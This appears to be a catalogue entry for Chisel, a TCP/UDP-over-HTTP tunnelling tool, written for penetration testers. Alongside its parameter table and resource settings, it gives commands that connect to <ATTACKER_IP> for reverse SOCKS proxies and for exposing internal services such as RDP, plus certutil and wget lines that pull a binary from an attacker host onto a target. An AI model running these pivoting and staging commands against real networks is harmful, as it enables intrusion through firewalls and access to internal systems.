Fast TCP/UDP tunnel over HTTP, used for network pivoting and port forwarding through restrictive firewalls using a single binary with no dependencies.
chisel server -p {port} --reverse 🌍 port → port chisel server -p {port} --reverseSandbox: execFile · Timeout: 86400s
network.tunnel.http network.forward.port network.forward.reverse network.proxy.socks security.pivot.traffic | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
mode | string | Yes | - | Mode: server or client | - |
port | integer | No | 8080 | Listening port | - |
reverse | boolean | No | - | Enable reverse tunneling | - |
socks | boolean | No | - | Enable SOCKS proxy | - |
remote | string | No | - | Remote forward specification (e.g., R:socks or R:port:host:port) | - |
Inputs
network.target.ip Chisel server IP
network.port Chisel server port
Outputs
network.tunnel Encrypted tunnel over HTTP
network_trafficraw_socket_access Produces
network.tunnelConsumes
network.target.ipnetwork.port| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | medium |
| Disk I/O | low |
Start chisel server in reverse mode on attacking machine
chisel server -p 8080 --reverseConnect client to server with reverse port forwarding
chisel client <ATTACKER_IP>:8080 R:8888:<INTERNAL_IP>:80Reverse SOCKS proxy (tunnel all traffic through target)
chisel client <ATTACKER_IP>:8080 R:socksRemote port forwarding (expose internal service on attacker port)
chisel client <ATTACKER_IP>:8080 R:8888:localhost:3389Chisel is a single-binary TCP/UDP tunnel that transports over HTTP, secured with SSH encryption. It's ideal for penetration testing scenarios where you need to pivot through restrictive firewalls.
| Mode | Command | Use Case |
|---|---|---|
| Server | chisel server -p PORT --reverse |
Listening relay on attacker machine |
| Client (reverse fwd) | chisel client IP:PORT R:LPORT:RHOST:RPORT |
Expose internal service to attacker |
| Client (SOCKS) | chisel client IP:PORT R:socks |
Full SOCKS proxy through tunnel |
The chisel binary is self-contained with no dependencies — simply upload it to the target via SMB, HTTP, or any file transfer method.
# Upload via certutil (Windows)
certutil -urlcache -f http://ATTACKER/chisel.exe chisel.exe
# Upload via wget (Linux)
wget http://ATTACKER:8000/chisel -O chisel